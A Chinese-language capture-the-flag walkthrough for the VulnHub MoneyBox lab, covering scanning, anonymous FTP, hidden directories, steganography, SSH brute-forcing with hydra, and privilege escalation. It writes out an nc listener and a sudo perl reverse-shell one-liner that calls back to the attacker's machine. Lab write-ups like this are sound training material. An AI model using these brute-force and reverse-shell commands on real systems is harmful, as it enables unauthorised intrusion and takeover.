MoneyBox靶场实战
一、环境说明
- 靶场下载:http://www.vulnhub.com/entry/moneybox-1,653/#download
- 靶机网络配置:MoneyBox靶机网络默认使用仅主机模式(与宿主机能进行通信)
- kali系统:kali-linux 2022.04 64bit
- kali系统网络配置:仅限主机模式
二、使用工具
- arp-scan
- nmap
- ssh
- ftp
- dirsearch
- steghide
- nc
三、实战步骤
-
查询宿主机的网络情况
ip a
-
使用arp扫描eth0网卡所在的这个网段的ip地址
sudo arp-scan -I eth0 -l
Kali和MoneyBox是同一网段,ARP扫描。
-
端口扫描
sudo nmap -p- 192.168.56.101
-
端口开放的服务扫描
sudo nmap -p21,22,80 -sV 192.168.56.101
开发21,22,80端口。
ftp服务:21端口(推测是否存在匿名用户登录)
OpenSSH 7.9p1服务:22端口 (推测是否存在暴力破解登录)
Apache httpd 2.4.38(debian)服务: 80端口
-
针对开放的端口进行逐个端口脚本扫描
sudo nmap -p21 -sC 192.168.56.101
存在ftp可匿名登录漏洞。同事扫描到trytofind.jpg图片文件。
sudo nmap -p22 -sC 192.168.56.101
sudo nmap -p80 -sC 192.168.56.101
-
使用ftp登录服务器
ftp 192.168.56.101
输入anonymous用户名,成功登上服务器。使用命令查看服务器上存在哪些可利用的文件。
-
查看服务器上的文件
ls
查看到服务器上,存在trytofind.jpg图片文件
同时查看是否可以切换到其他目录或者系统目录下,使用一下命令
cd
pwd
ls
切换不到其他目录。
-
下载该图片文件
get trytofind.jpg
-
查看图片
gwenview trytofind.jpg
查看图片并没有可利用的信息。
使用ssh远程登录,需要用户名和密码,可以使用字典暴力破解。
在渗透测试前期,不要使用暴力破解,暴力破解需要向目标发送大量的数据包,这样会引起目标系统的警觉,甚至安全防护软件的警告拦截,影响后面继续的渗透。
这个步骤会在后面执行。
目标服务器开放了80端口,通过浏览器查看网页内容,看有没有可利用的信息?使用浏览器查看源码功能,查看有没有可利用的信息?
都没有有价值的信息。
-
浏览器查看网页
http://192.168.56.101/
网页和网页的源码并没有可利用的东西。
-
爆破Web服务器端的路径
dirsearch -u http://192.168.56.101
发现301,200,403。发现301状态码,对应web服务器端另一个路径。
打开http://192.168.56.101/blogs/网页内容也没有有价值的信息
查看网页的源码,左边的行号很长,继续查看发现另一个秘密的目录
<!-- the hint is the another secret directory is S3cr3t-T3xt-->
存在S3cr3t-T3xt秘密的目录或者路径,在爆破的时候并没有报出这个目录或者路径。
打开http://192.168.56.101/S3cr3t-T3xt/网页内容也没有有价值的信息
查看网页的源码,左边的行号很长,继续查看发现秘钥
<!..Secret Key 3xtr4ctd4t4>
除了秘钥,再没有其他的信息。
-
使用ssh暴力破解
nmap --script ssh-brute --script-args userdb=./Key/user.txt,passdb=./Key/rkolin1.txt 192.168.56.101
也没有破解出ssh用户名root账号的密码。
整理回顾收集的信息,目前有一张图片还没有使用。
-
查看图片信息
strings trytofind.jpg
发现图片中信息,并不应该出现的图片信息中。图片信息使用隐写术,将一些有价值的信息写到图片中。
-
使用steghide查看图片是否隐写了重要信息
steghide info trytofind.jpg
提示查询到了图片有嵌入信息,需要输入密码。是否是前面发现的秘钥,输入秘钥。
提示信息发现:
嵌入文件名:data.txt
大小:136字节
-
提取图片的信息
steghide extract -sf trytofind.jpg
提取出了data.txt文件
cat data.txt
查看有用户renu,密码太弱了。
-
暴力破解renu用的密码
renu用户名写到user.txt文件中
nmap --script ssh-brute --script-args userdb=user.txt,passdb=rockyou.txt 192.168.56.101
换另一个工具进行破解
hydra -l renu -P rockyou.txt 192.168.56.101 ssh
密码破解成功。password:987654321
-
ssh远程登录
ssh renu@192.168.56.101
输入密码:987654321
成功登录web服务器。查看有没有有用的信息。
发现user1.txt文档,cat查看文档,找到一个flag。
再查看renu有没有sudo的权限,发现并没有sudo权限。
-
使用history查看历史执行的命令
发现lily账号,同时将公钥拷贝的lily账号下,是不是可以直接登录lily那个机器上。
查看
发现user2.txt,第二个flag。history历史执行的命令中,将公钥拷贝
可以直接ssh 用户@ip地址登录,而且不需要密码。
查看历史执行命令
lily账号,可以使用root权限运行perl脚本。
-
kali开启远程监听
nc -nvlp 3333
然后执行perl脚本反弹shell
sudo perl -e 'use Socket;$i="192.168.56.102";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
通过反弹shell建立靶机远程连接,同时获得root权限。
查看再当前目录有user2.txt,找到flag。是否在root目录存在类型的文件包含flag。
切换root目录下查看,有.root.txt文件。查看。
总结:
一共获得user1、user2,root三个flag,同时获得服务器root权限。